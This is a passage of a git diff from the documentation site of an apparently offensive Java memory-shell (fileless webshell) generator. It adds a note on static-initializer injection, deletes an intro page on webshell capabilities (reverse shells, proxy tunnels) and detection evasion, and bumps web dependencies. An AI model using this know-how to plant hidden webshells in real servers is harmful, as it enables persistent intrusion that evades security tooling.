ClassVisitor(Opcodes.ASM9, cw) {}; + cr.accept(cv, ClassReader.SKIP_DEBUG); + return cw.toByteArray(); +} +``` + +### 静态初始化 + +当前注入器实现的逻辑都在构造方式中,不过并不是所有的漏洞 sink 点我们都能触发到 newInstance 方法调用构造方法实例化对象,因此我们加入了静态初始化开关,当开启后,会在类中添加静态代码块调用构造方法,例如: + +```java +static { + new ImageUtil(); +} +``` + +这样使得部分漏洞 sink 点为 `Class.forName(name, true, classLoader);` 的场景也能正常触发内存马注入了。 \ No newline at end of file diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json index 9bdd6bc7..0b7e0340 100644 --- a/web/content/docs/memshell/meta.json +++ b/web/content/docs/memshell/meta.json @@ -1,3 +1,3 @@ { - "title": "Servlets 规范内存马" + "title": "Java Servlet 规范内存马" } diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json index 6013eaf8..744e758b 100644 --- a/web/content/docs/meta.json +++ b/web/content/docs/meta.json @@ -1,13 +1,14 @@ { "pages": [ "index", + "compatibility", "server-intro", "self-host", "self-build", "sdk", "changelog", - "---Java 内存马---", - "what-is-memshell", + "---内存马生成器---", + "memshell-core-config", "memshell", "custom-memshell", "---内存马工具---", diff --git a/web/content/docs/what-is-memshell.mdx b/web/content/docs/what-is-memshell.mdx deleted file mode 100644 index 2b044b12..00000000 --- a/web/content/docs/what-is-memshell.mdx +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 介绍 ---- - -Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。 - -## 什么是 webshell - -> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell) - -webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。 - -常见的 webshell 功能包括: - -1. 命令回显,反弹 unix shell。 -2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。 -3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。 - -## 演变历程 - -随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。 - -因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。 - -此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。 - -## 常见 Java 内存马 - -在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。 - -冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。 - -**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。 - -Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。 - -从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。 - -## 延伸阅读 - -- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq) -- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451) -- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html) diff --git a/web/package.json b/web/package.json index c505d09f..ddac2b87 100644 --- a/web/package.json +++ b/web/package.json @@ -20,20 +20,20 @@ "@tanstack/react-query": "^5.90.12", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.25", + "framer-motion": "^12.23.26", "fumadocs-core": "^16.2.4", "fumadocs-mdx": "14.1.0", - "fumadocs-ui": "16.2.3", + "fumadocs-ui": "16.2.4", "i18next": "^25.7.2", "isbot": "^5.1.32", - "lucide-react": "^0.556.0", - "motion": "^12.23.25", + "lucide-react": "^0.560.0", + "motion": "^12.23.26", "radix-ui": "^1.4.3", "react": "^19.2.1", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.1", "react-hook-form": "^7.68.0", - "react-i18next": "^16.4.0", + "react-i18next": "^16.4.1", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -44,9 +44,9 @@ "devDependencies": { "@biomejs/biome": "^2.3.8", "@react-router/dev": "^7.10.1", - "@tailwindcss/vite": "^4.1.17", + "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^24.10.2", + "@types/node": "^25.0.0", "@types/react": "^19.2.7", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", @@ -54,7 +54,7 @@ "react-router-devtools": "^6.0.0", "rimraf": "^6.1.2", "serve": "^14.2.5", - "tailwindcss": "^4.1.17", + "tailwindcss": "^4.1.18", "typescript": "^5.9.3", "vite": "^7.2.7", "vite-plugin-devtools-json": "^1.0.0",